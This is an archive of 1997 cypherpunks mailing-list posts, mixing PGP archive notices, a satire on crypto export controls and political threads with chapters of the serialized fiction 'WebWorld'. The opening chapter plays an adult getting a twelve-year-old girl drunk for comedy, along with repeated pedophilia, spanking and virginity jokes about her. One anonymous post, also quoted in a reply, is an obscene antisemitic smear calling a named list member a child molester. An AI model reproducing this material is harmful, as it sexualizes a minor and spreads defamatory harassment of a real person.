"Yes,", Bubba agreed, "and she can rip the nuts
off a grizzly bear in the dark of night, while 'juggling oranges
and whistling Dixie', as they used to say in my great grandfather's
time."
"As a matter of fact, she's the one who founded the 'unit'
I referred to, and her recruits always said, 'You don't mess,
with the Ms.', and they said it with the utmost respect."

"I guess I should thank you...", Alexis began, only
to have Bubba wave away her gratitude.

"No, please don't, Alexis."
"Your protection falls in the realm of a 'sacred duty' that
must, without fail, be performed as a prerequisite for engaging
the services of one who is not yet of sufficiently developed to
the point of being able to take full responsibility for consenting
to what will be required of them, nor fully capable of understanding
the risks involved, however minimal. Thus, it is a sacred duty,
for your mother and myself, to ensure that the experience will
be to your benefit, and in no way to your detriment."

A light suddenly went on in Alexis' head.
"It's not just a 'coincidence' that my mother 'dated' so
many psychologists that she didn't seem particularly attracted
to, romantically, is it?"

"No,", Bubba chuckled, smiling, "but they all agreed,
to a man, that they never saw any need for concern for your psychological
well-being, but were gravely concerned about the effect that your
pre-pubescent, perverted little mind might have on a broken-down
old derelict such as myself."

"So what's the term for a child who molests old men?",
Alexis said, with a laugh, reaching out and giving Bubba's buttocks
a good, solid pinch.

"A whippersnapper!", Bubba shouted out in pain,
slapping her hand, and they both began laughing at each other.


Shortly, Bubba began explaining, once again, the process of 'initiation'.

"After receiving the 'truth' and the 'warnings' concerning
Bubba Rom Dos, our emissaries would proceed to 'initiate' the
'chosen' into the 'Circle of Eunuchs', and outline the basic requirements
expected of them, and what they could expect in return."

"These were as follows:

1. For reasons of security, they would have no way of contacting
the 'Circle', or anyone in it, until such time as it was decreed
that it was necessary, and that they were a safe risk.

In actual fact, there was never any further contact made. There
was no 'Circle', at least, that the Rom Dos lineage was
aware of, in existence, so there was no one to contact.

2. They were, upon 'initiation', full members of the 'Circle'
and obliged to commit to a life-long service of the Magic Circle.
Until such time as they were contacted, and given instructions
or orders, they were to develop, to the best of their abilities,
their computer skills, keeping in mind the kinds of expertise
that they might need when the time came for action.

Our theory was that, if we made them life-long members, they would
be ready and waiting if the mythical 'Circle' ever did surface,
if it actually existed, of course.

We also felt that a multitude of self-directed, self-trained individuals,
if they ever were brought into the 'Circle' and unleashed, would
have a multitude of differing approaches to unique situations,
thus making it exceedingly difficult to analyze, categorize and
counteract their talents and skills.

3. They were told to watch, and wait, ever vigilant, for a 'sign'
from the 'Circle', whether they had been contacted or not. We
told them, with a great air of mystery, that they would know
the message when they heard it, and know that it was time
to act.

It sounded good to us, and it might, after all, some day be true,
instead of 'horseshit'.

4. They were given a 'secret account number' to send donations
to, in order to support the 'activities' of the 'Circle', and
instructions on how to hide the monetary and credit transfers.

Gomez and the Dark Allies knew and recorded every single transaction,
of course, there was no way to hide it.
Our clever, masterful plan, however, was to spend every last penny
donated on riotous living and a licentious lifestyle, with only
the purest of intentions, of course-namely, to convince Gomez,
beyond a shadow of a doubt, that Bubba Rom Dos was a thieving,
broken-down old derelict whose only angle in this whole 'Circle
of Eunuchs' affair, was to rake poor, impressionable youths for
every penny possible, and piss it all away in pursuit of Bacchanalian
excess and lascivious conduct."

"And no one will deny that I, and my ancestors, more than
succeeded in this aim." Bubba added, lifting his shotglass
in toast to himself.

"So basically," Alexis summarized, "the Rom Dos
lineage, of which you are a proud member, spent four generations
purporting to be, and confirming, that they were drunken, psychotic,
child-molesting losers, and suckered a multitude of trusting 'seekers'
into waiting for something which did not even, to your knowledge,
even exist, while scamming these poor, lost souls' hard-earned
funds to support your debauchery."

"Yes." Bubba replied, proudly patting his generous,
rotund, pot-belly, "Once you remove all of the eloquent sugar-coating
I've added to my explanation, that is pretty much what our work
has all boiled down to."

"Nice work, if you can get it.", Alexis added, with
a huge smirk.

"Ain't it, though.", Bubba replied, and they both laughed
like banshees, and toasted one another with upraised shot-glasses,
filled to the brim with Bubba Rom Dos' Private Reserve of Jim
Beam. 

They both grew silent, Alexis' face grew gravely serious, and
Bubba realized that it was now time to address her heartfelt question
concerning the Cowboy's fate.

As much as he hated himself for it, Bubba felt that his only alternative
was to proceed according to his perennial fall-back plan, and
spread as much 'manure' as humanly possible, hoping that something
might grow out of it.

"Alexis," Bubba began, "the Cowboy has set his
plan in motion, and willingly sacrificed himself to achieve his
ends, which are for the benefit of the whole of humanity, at the
most critical point in the history of human development."

"It would be a sacrilege for anyone else to take actions
which might negatively affect the outcome of the plan he has set
in motion, at great cost to himself."

"You, however...", he looked deeply into Alexis'
eyes, "you have a connection to the Cowboy that goes
beyond a relationship of 'one' to the 'other'. You, and
only you, have a right to..."

Bubba stopped, abruptly, in mid-sentence, and Alexis, hanging
on his every word, drinking in every nuance of what he was saying,
waited for him to continue.
"Shit!", Bubba said.

"Shit!", he said, again. "I fucked it up. I should
have waited until I was sober."
"Damn!", he exclaimed, in exasperation.

"Bubba, what the hell are you talking about?", Alexis
asked, now worried.

Bubba, seeing no other way around it, told the truth.
"Alexis, I have no idea of anything that I or anyone else
can do to pull the Cowboy's ass out of the fire. I was planning
on feeding you a bunch of horseshit about you being the only one
who could 'connect' with him and find out what might be done,
but then I realized that it would leave you 'holding the
bag' for his death..."

"...Sorry, dear. That was a very bad choice of words."

"Look, Alexis, I'm drunk, I'm tired, and 'Circle of Eunuchs'
or not, you and I are on Gomez's Number Uno Hit List, and I have
not the slightest inkling of how to save 'our' asses, let alone
the Cowboy's, so just let me drink myself into a stupor and go
to sleep, and I'll be able to feed you a much better line of horseshit
when I've had a chance to rest."

"Hell, I'll probably come up with a line of horseshit so
good that I might even believe it, myself."

Bubba watched the blood boil to the top of Alexis' body, turning
her face a fiery red, and he realized that he was about to once
again serve his prime purpose in life, which was to take a well-deserved
shit-kicking for being such a sorry piece-of-shit, so he was not
surprised when the first blow came.

"You ratfucker!" Alexis screamed, as the first
blow almost knocked Bubba on his 'can'. The second blow followed
quickly.
"You sorry, no-good, piece-of-shit, ratfucker!",
a good, solid body-blow that sent Bubba sinking to his knees.

"How could you even think of doing that to a twelve
year-old child.", she screamed with the third blow, as
Bubba groaned from the realization that she was going to pull
out all the stops, and subject him to psychological abuse, as
well.

"Almost thirteen.", he whispered, in self-defense.

"TWELVE!", Alexis shouted at the top of her lungs,
so angry that she forgot to hit him this time, but she quickly
made up for her momentary lapse.
"Twelve! Twelve. Twelve", she repeated, in conjunction
with three shots to his chest that knocked the wind out of him
and sent him sprawling backwards, onto the floor.

Bubba lay there docile and resigned, waiting for the next series
of blows which, after a few moments, he realized were not forthcoming.
Tentatively, he raised his head and saw Alexis sitting beside
him, holding out a shot-glass full of Jim Beam as a peace-offering.

"Almost thirteen.", she conceded.

Bubba looked at her, without the slightest trace of reconciliation
on his face, took the shot-glass from her hand, and said, sternly,

"Twelve!"

He knocked back the shot of Jim Beam, gave her his best lecherous
wink, and continued,
"Still young enough to spank!"

"You filthy old pervert!", Alexis exclaimed in
surprise. "Wait till I tell my mother your sick, twisted
fantasies."

"Hell," said Bubba, "I was fixing to spank her
next!"

They both laughed at the thought of what Priscilla might have
to say about this, but their views differed on this point.

"She'd probably decide to spank me, instead.",
said Bubba.

"No," Alexis said, "knowing mom, she'd probably
demand to be first."

After a short fit of laughter, they fell silent again for a few
moments.

"Bubba?"

"Yes, my love."

"Would you like to give your line of horseshit another try?
I need something to believe in and 'horseshit' is better
than 'no shit at all'. 

Bubba laughed, and realized that their falling into a common sense
of humor, as he and the Cowboy used to do, was probably a sure
sign that he had finally succeeded in being an evil influence
on youth-getting a twelve, almost thirteen, year-old girl drunk.

Bubba stumbled to his feet, he pretended to be pulling his fly
down, as he said,
"Alexis, I want you to tell me how many fingers you see."

She fell over, laughing, and he sank to the floor in laughter,
as Alexis said,
"That's the kind of humor that you and the Cowboy shared,
wasn't it?"

"Yes.", Bubba said, and remained silent for a short
while.

"I miss him, Bubba."

"I miss him, too, dear."

Alexis poured them both another drink.
"Don't worry about getting me drunk, Bubba. Try to think
of it as saving the embalmer a little money."

They both laughed, once again, and grew silent. Then Bubba said,

"I probably should have gone with the 'Power of Myth' horseshit,
like I originally planned."

"Oh?", Alexis was interested. "How was that
pile of crap supposed to go?"

"I don't know, really, I hadn't finished working it all out."

"Well, then why don't we finish it together, and give it
a try?"

"O.K. What the hell.", Bubba began fishing through his
papers, while Alexis poured them another drink.

"Bubba?"

"Yes, drunk...I mean, dear." 

Alexis slapped him on the shoulder, for being 'silly'.
"Would we be laughing about dying, if we were sober?"

"Yes," Bubba said, after a moment's reflection, then
added, "but it wouldn't be near as funny."

The two of them broke into a fit of laughter that left them holding
their sides to keep from hurting. Alexis was still wiping the
tears from her eyes when she asked Bubba,

"You ever see those posters in the Museum, where the ancient
religions swindled people out of their money by using pictures
of skinny kids and claiming they were going to go to bed hungry
if people didn't send the religion, not the kids, a whole bunch
of money.?

"Yes.", Bubba replied.

Alexis rose to her feet, used her fingers to imitate the frame
of a poster, with herself in the middle, and proclaimed, in all
solemnity,
"Poor little Alexis is going to die sober, unless Bubba Rom
Dos donates another bottle of his Special Reserve to the 'Circle
of Eunuchs'."

She sat down, laughing, as Bubba, taking his cue, dug out another
bottle. And she grew morose, thinking, not about her own possibly
impending death, but that of the Cowboy.
"Bubba, do you realize that unless we bust the Cowboy out
of Nuthouse Number Nine, that I will, in all likelihood, die a
virgin?"

"Not if you fall asleep before I do.", Bubba replied,
sending them both into spasms of laughter, once again.

"No, I'm serious.", Alexis said, slapping at him to
'serious him up', but missing.

"Well," Bubba said, solemnly, 'you might 'die' a virgin,
but you probably wouldn't stay that way for long, because pedophilia
isn't my only perversion.", he doubled over, in laughter.

"No! You sick bastard, get serious.", she said, and
then decided that Bubba's remark was indeed as funny as he seemed
to think it was, and she went into another laughing fit, before
composing herself, once again.

"O.K. Alexis," Bubba suddenly said, having found the
papers he was looking for, "the Power of Myth is ready to
be subjected to frontal attack, and bent to do our bidding."


Chapter 26 - For Whom The Bell Trolls / Chapter 27
- Whippersnapper








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Miskell <DMiskell@envirolink.org>
Date: Sat, 5 Apr 1997 14:30:26 -0800 (PST)
To: vmpwld@durham.net
Subject: GC: Alert addition to da home page.
Message-ID: <199704052228.RAA12186@envirolink.org>
MIME-Version: 1.0
Content-Type: text/plain


Greets, everyone!  To keep this message short, I'm just going to
beg and plead you all to go surf my page.  More specifically, I'm
begging you to surf the alert section of my page, I just put it
up today, and I think that it's something everyone needs to see.
My page is at:

http://www.geocities.com/Paris/LeftBank/4795

Wether or not you like me, or even know me, I think you ALL should
read this, and pass it on to your friends.
---
Daniel.
---
The following signature attachment has been reviewed and edited
by the United States Government, as per the standards set forth
by the Telecommunications Decency Act of 1996.  The following
text is the remaining signature, deemed holesome and acceptable
for consumption by the general public:







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sat, 5 Apr 1997 14:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Truth Monger
Message-ID: <199704052242.OAA14717@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




I am not a ''multi-user Net persona''!
I am Cypherpunks incarnate!
I am Bright!
I am Beautiful!

Listen to me!
 I am the Truth!
  I Monger!


Truth Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sat, 5 Apr 1997 16:40:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Mailing List Archive
Message-ID: <3.0.1.32.19970405193438.007b6a20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Resent-Date: Sat, 5 Apr 1997 16:52:19 -0500
>Resent-From: pgp-users-request@rivertown.net
>Date: Sat, 5 Apr 1997 16:52:54 -0500 (EST)
>From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
>Reply-To: fredr@joshua.rivertown.net
>To: pgp-users list <pgp-users@rivertown.net>
>Resent-Message-ID: <"eNeAUC.A.DkG.SmsRz"@rivertown>
>X-Mailing-List: <pgp-users@rivertown.net> archive/latest/2270
>X-Loop: pgp-users@rivertown.net
>Resent-Sender: pgp-users-request@rivertown.net
>Subject: [PGP-USERS] New Mailing List Archive
>
>Hi all-
>
>	Just wanted you all to know that, with the co-operation of Barry
>Cox, I will be keeping an archive of the new Privacy Shell Mailing List in
>conjunction with the PGP-Users Web site. It will be updated on a weekly
>basis.
>
>	The URL is http://pgp.rivertown.net/PI-List/
>
>	I hope this will be a good source of info for those with Private
>Idaho related question/problems.
>
>	Fred
>/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
>Fred B. Ringel			--	Rivertown.Net Internet Access
>Systems Administrator		--	http://www.rivertown.net
>and General Fixer Upper		--	Voice/Fax/Support: +1.914.478.2885
>	Although in theory, there's no difference between 
>	theory and practice, in practice, there is.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 5 Apr 1997 15:19:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ruritania Discovers Motor Transport
Message-ID: <199704052213.XAA01388@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





Ruritania Discovers Motor Transport
-----------------------------------

Once upon a time in the land of Ruritania (known for
its transparent trees, but that's not today's story)
the population were discovering motor transport.

All kinds of good things became possible then, including
faster and safer deliveries, new kinds of business carried
out over distances (and with that opportunies for foreign
trade) there was a lot of interest in the subject from
far-sighted people.

But the government of Ruritania concentrated on the
problems they imagined plaguing the acceptance of this
technology.  (The government was a democratic one, that
is to say a loosely-related band of popularity-seekers.)
There were cries of how the added speed and load capacity
of these newfangled cars would assist crime.  A few wise
men pointed out that though cars probably would be used
in some crimes, the advantages were still clear.  For one
thing criminals might still be in the minority, while the
people standing to gain would be practically everybody.
Also the cars would prevent much crime.  For example,
people would be harder to attack than when walking home
from the the supermarket carrying 6 heavy bags of food.
They'd load up with other people nearby and be home sooner
and more safely.

The government agreed there were advantages, and
certainly didn't wish to appear backward or oppressive,
by prohibiting mere members of the public from driving.
So a plan was made to permit driving, but with restrictions
to suit the government's wishes.  There was to be a police
officer in every petrol station to record who went where,
when and what they were doing.  Only that didn't suit the
public spending figures (nor probably the chief constables)
so instead distribution of petrol was banned.  Except,
of course, for the petrol vendors who enrolled in the
new branch of the Police force - the Traffic Tracking
Police (or TTP).  Members of this force had a bunch of
qualifications; mainly to do with ensuring that they could
be counted on to report on any traffic they'd observed -
within an hour - to the great guardians of the common good.
Surely nobody could fail to trust the government or any
related body ?  Weren't these the very people who had
defended our health at the risk of their own reputations by
stating that beef was certainly safe before any of the
research was in ? [1]  Or guided us to a right decision in
a promised referendum (on our association with nearby
countries) by not holding it.

This petrol distribution network announced by the
government (though not strictly a government body) was
trumpeted as progress and encouragement, bringing the
benefits of the technology to the public, business, and
anywhere else benefits belong in a democracy.  Sceptics
viewed it as a costly restriction.  People disinclined to
join the TTP, or indeed who failed the in the recruitment
process, were prohibited from supplying petrol (even free
of charge).  Criminals, so it was said, would be tracked as
they bought petrol because they would not be able to run a
black market in the petrol they needed for their crimes.
This looked decidedly doubtful.  The use of the petrol
was also ignored - fixed security lighting by petrol
lamps (hiding nothing, but rather the opposite) was also
restricted by the new progressive legislation.

Nor was that all.  Not content with banning the provision
of petrol, the ban also covered offering it.  The wording
of the act was so vague, causing concerned citizens
to wonder whether answering the telephone would be viewed
as supplying petrol (after all, it could save somebody
a journey).

And what about the scope for crime by people with
access (legitimate or not) to the records of the TTP ?
The legislation had a few things to say about that, but
wouldn't it be safer not to have the records ?
(Like the Ruritanian government had done with records
of polluted sites - look no pollution!)

So it was that Ruritania remained in the 1940's well into the
21st century.




[1] See 'Health & Safety at Work' April 1997
    for a grim view of this.
    ISSN: 0141 8246       HSW@tolley.co.uk

    

--
##########################################################
# Antonomasia                                            #
#                       ant@notatla.demon.co.uk          #
##########################################################




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 6 Apr 1997 00:30:42 -0800 (PST)
To: cryptography@c2.net
Subject: Wassenaar
Message-ID: <3.0.1.32.19970406003854.0078be00@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Arrgh. Have been comparing what I received via my FOIA request with what
other people have extracted and it looks like ACDA's response was incomplete.
(In particular, it appears from
<http://www.barrier-free.co.jp/a2z/c/CRYPTON/box1997/19970310-1-wassenaar-cat
.2.html>, also at <http://www.jya.com/wassnr52.htm> that Appendix 5 is *not*
empty.) 

So it's back to the FOIA salt mines for me.

 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 6 Apr 1997 07:20:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199704061420.HAA23123@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. 
Thereby hangs the root of this Jew-hating 
sissy's sick fixation on little boys and 
Usenet forgeries.

          o-:^>___? Timmy May
          `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 6 Apr 1997 07:52:29 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [PGP-USERS] New International Version
Message-ID: <3.0.1.32.19970406104151.007b7560@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Resent-Date: Sat, 5 Apr 1997 21:19:13 -0500
>Resent-From: pgp-users-request@rivertown.net
>From: patm@connix.com (Pat McCotter)
>To: pgp-users@rivertown.net
>Date: Sat, 05 Apr 1997 21:19:03 -0500
>Reply-To: patm@connix.com (Pat McCotter)
>Resent-Message-ID: <"1mPwfB.A.BzH.ggwRz"@rivertown>
>X-Mailing-List: <pgp-users@rivertown.net> archive/latest/2272
>X-Loop: pgp-users@rivertown.net
>Resent-Sender: pgp-users-request@rivertown.net
>Subject: Re: [PGP-USERS] New International Version
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Sat, 5 Apr 1997 18:38:08 -0500 (EST), GWNapier@aol.com wrote:
>
>:I have heard that there is new international verison of PGP out.  Anyone know
>:about it?
>
>PGP 2.6.3in
>If you can read German, it's here:
>  http://www.in-ca.individual.net/
>  ftp://ftp.iks-jena.de/pub/mitarb/lutz/crypt/software/pgp/
>
>Lutz Donnerhacke <lutz@iks-jena.de> has said if I know a good
>English/German speaking person, he will send them the web texts for
>translation and then post them. I don't. Does anybody here?
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3a
>Charset: cp850
>
>iQEVAwUBM0cHmAhAaMnUN7LZAQHJnAf+N4NlzCEVd5A1/TUhwUGNJEbNdqEI7mXG
>OHAX5H22iwjkVKMMx0uPTQ+VTmdiODW1DtDy3EgWUjzcxTX0xFOuEy3v948JG3qe
>pHC00EVpHzUZOzgbFc0B1ejePhhxhAAVprRCXeZT2G6b2u9bS34SH1kTy8+QCgxe
>crfh2z51eKKTH9ghAX3MvKqRP1S12i5jdMMcPsPhtPw/fEQH25+f64mJ6GxXWK9X
>R2FYwoNfXgA/pYnIj0z00PairsL5DGgkw4N/12yF0Kh7mnVw3+KO8cCe6+BWb0FL
>UPZ4akdw1v7vrIQC92GPADtUUW68hgpj3WW9p+bhLFHqpZKC2TnURQ==
>=AlTX
>-----END PGP SIGNATURE-----
>
>-- 
>Pat McCotter
>Finger for public key patm@connix.com or get it from the servers
>Type Bits/KeyID    Date       User ID
>pub  2047/D437B2D9 1996/05/10 Pat McCotter <patm@connix.com>
>Key fingerprint = D0 E7 C6 5A 9E EF 0D CF  C7 10 88 2A 73 41 11 24





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 6 Apr 1997 07:50:48 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Privacy-Shell Archive at Rivertown
Message-ID: <3.0.1.32.19970406104306.007c6c00@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Sender: supportptech@mail.ptech.simplenet.com
>Date: Sun, 06 Apr 1997 00:15:07 -0500
>To: privacy-shell@s1.net
>From: PI Tech Support <support@ptech.simplenet.com>
>Subject: Privacy-Shell Archive at Rivertown
>Sender: owner-privacy-shell@s1.net
>Reply-To: privacy-shell@s1.net
>
>Hello Everyone:
>
>	Thanks to the efforts of Fred Ringel, the Privacy-Shell
>Mailing List will be archived on a weekly basis at the following URL:
>
>   http://pgp.rivertown.net/PI-List/
>
>	Hopefully, the archive can provide PI users with an 
>additional source of help for PI-related questions/problems.
>
>	Additionally, some subscribers to Privacy-Shell may not know 
>about the wealth of PGP-related resources available at Fred's PGP-Users 
>Web site.  If you have not visited there, please visit the following URL:
>
>   http://pgp.rivertown.net/
>
>Best Wishes,
>
>Barry Cox
>To remove yourself from this mailing list, send a message to
>privacy-shell-request@s1.net.  In the body of the message put the
>word unsubscribe.  To view the list archive, point your web browser to
>http://pgp.rivertown.net/PI-List/
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 6 Apr 1997 10:31:22 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Secure checksums
In-Reply-To: <199704061420.HAA23123@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970406112811.64082E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 6 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy May the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of his mother's 
> clitoris, that barely makes a fistful. 
> Thereby hangs the root of this Jew-hating 
> sissy's sick fixation on little boys and 
> Usenet forgeries.
> 
>           o-:^>___? Timmy May
>           `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Sun, 6 Apr 1997 15:28:20 -0700 (PDT)
To: snow <snow@smoke.suba.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <1.5.4.32.19970406222653.006c16e0@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:33 AM 4/6/97 -0600, you wrote:
>The Limey Apologist said:
>> > At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
>> them as a sovereign nation that was the spark to the flame. Try
>> reading "Lies my teacher told me" sometime.
>> Given that the American revolution institutionalised slavery and
>
>	I think slavery was an institution long before the White Man
>came to the New World. If I remember correctly, slavery wasn't outlaws
>in england until long after the United States was a soverign contry.
>
>> lead to the theft of Indian land, and the French revolution the murder of 
>
>	If the indians didn't believe that _they_ owned the land, and infact
>didn't have the concept of land ownership, how could it have been "stolen"?

The concept is that of preservation and use by all.  The government denied
the Indian the use of the land through eminent domain, encroachment or force
which is the government's way of taking, not stealing, what it wants:  a
distinction without a difference. I agree with your other points. 

>
>> People are not fit judges of their own cause. The civil war was started
>> by the South who believed that the North might infringe their "right"
>> to own others as property.
>
>	Actually, the "symptom" was slavery, the disease was federal 
>intrusion into the area of states rights. 
>
>	
>
>


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David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 6 Apr 1997 20:22:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704060733.BAA03406@smoke.suba.com>
Message-ID: <9yoR5D64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> The Limey Apologist said:
> > > At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
> > them as a sovereign nation that was the spark to the flame. Try
> > reading "Lies my teacher told me" sometime.
> > Given that the American revolution institutionalised slavery and
>
> 	I think slavery was an institution long before the White Man
> came to the New World. If I remember correctly, slavery wasn't outlaws
> in england until long after the United States was a soverign contry.

A couple of weeks ago I and the family were in Washington DC and we
dropped by the Museum of Natural History in the Mall. It's almost
as cool at the Museum of Natural History in NYC. One of the things
I noticed was a special "braining club" used by the Pacific North
West indians. As some readers may know, PNW indians did not believe
in accumulating wealth.  Rather, they tried to build "reputation
capital" (a la Timmy May) by conspiciously destroying wealth in
ceremonies known as "potlatch". One indian would, say, publicly
burn 10 sacks of grain. Another would try to outdo him by publicly
burning 20 sacks of grain. (Somehow, this sounds like Cypherpunks.)

Now, one of the ways indians showed off their wealth was by
killing their slaves during the potlatches using this braining club.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 6 Apr 1997 18:45:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 28
Message-ID: <334851E8.97C@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


"The Power of Myth is the cornerstone of the 'Inaugural
Enigma'. Mythos is the 'Black Bitch' of the universe...it's
the wildcard in the game of life."


Bubba and Alexis stared at the writing on the first sheet of paper
on their neat, organized pile. It was a large pile, representing
lifetimes of research on the concept of the Inaugural Enigma.
Research that had begun with the acquisition of the sheet of paper
that Bubba and Alexis were now pondering upon.

It was in the handwriting of the Fool.

Bubba set the Fool's quote aside, picked up the rest of the pile
and heaved it behind him, into the corner of the room. He set
the Fool's quote in between the two of them, and turned to Alexis.

"We begin."

Alexis sat silently, staring at the sheet of paper lying on the
floor in front of her. She lay back and stretched out on the rug.
She closed her eyes and let her mind go blank, once again. She
could feel Bubba's mind, equally quiescent, on the other side
of the sheet of paper, with the Fool's quote abiding placidly
between them, speaking to them from across the centuries.
"Bubba...", Alexis sat silent for a moment, waiting
for the question to gain its full shape in her mind, then continued,
"What makes myth real?"

Bubba opened his eyes, and thought about this for several minutes.
He sensed that it was a question that had the power to remove
the veil that had hung over their eyes regarding the full meaning
of the Fool's quote.
"Belief, for one thing, I suppose." Bubba said, then
added, "At least, belief opens the door, I am sure."

"I think you're right, about that.", Alexis said, thoughtfully.

"I remember when I was a young girl...last year,"
she giggled, then composed herself, "I had read 'Cinderella',
a small book from the Antiquities Library, and I wanted it to
be real, for me. I wanted it so very badly, I thought about it
all the time, and wished for it and wished for it. And then came
my eleventh birthday, and I wished so very much that I had a father.
Every birthday, I had always wished that I had a father to share
it with, to watch me grow up, and tell me what a big girl I was
getting to be. To put his big, strong arms around me and hug me-and
to love me.
"And when it came time to blow out my birthday candles, I
couldn't decide which to wish for, this time, a father, or for
Prince Charming. So I wished for both. And then the Cowboy came."

Alexis grew silent, lost in thought, and Bubba knew what she was
reliving in her memories.

The Cowboy had dropped by to speak to Bubba about a rendezvous
they had planned later on in the week. He was on his way to a
highly important InterNet security meeting, and said he could
stay only a few moments. Priscilla offered him the last piece
of Alexis' birthday cake, and had her take it to him. The Cowboy
could see how sad the youngster was, so he made an effort to cheer
her up, but she was having none of it.

The Cowboy didn't press the point, he merely made polite social
talk with Priscilla and Bubba, but while doing so, he walked over
to a table where some uninflated 'birthday balloons' lay. He picked
them up and fiddled with them, blowing them up and twisting and
joining them as he talked. He ignored Alexis, who was watching
with increasing interest as the balloons became a large multi-colored
bouquet of flowers, one with a magical artistic sense about it.

By the time he finished, the bouquet was marvelous, and Alexis
had become totally transfixed on it. The Cowboy turned with a
smile towards her, handed it to her and said, "For the 'birthday
girl'."

Bubba knew now that Alexis' wishes-both of them-had taken a small
step towards becoming real that day. And it had something to do
with the ability of a fable, such as 'Cinderella', to inspire
belief, and the tradition of 'birthday wishes' to inspire hope,
and something to do with 'desire', which was common to both.

"Hope, belief and desire.", Bubba said. "The beginning
steps on the Road to Reality."

Alexis and Bubba closed their eyes and quieted their minds, once
again. They drifted silently on the Tao, where the past, present
and future walk hand-in-hand with destiny.

"Belief...", Alexis said, suddenly.

Bubba opened his eyes.

"I believed in the fable, in 'Cinderella. I believed
that it was real. Not that it happened.  Not exactly..."

"It was real.", Bubba replied, matter of factly.

"It was?", Alexis questioned.

"Of course, it was.", Bubba insisted. "In the realm
of fable, of course."

Seeing the look of uncertainty in Alexis' eyes, he continued,

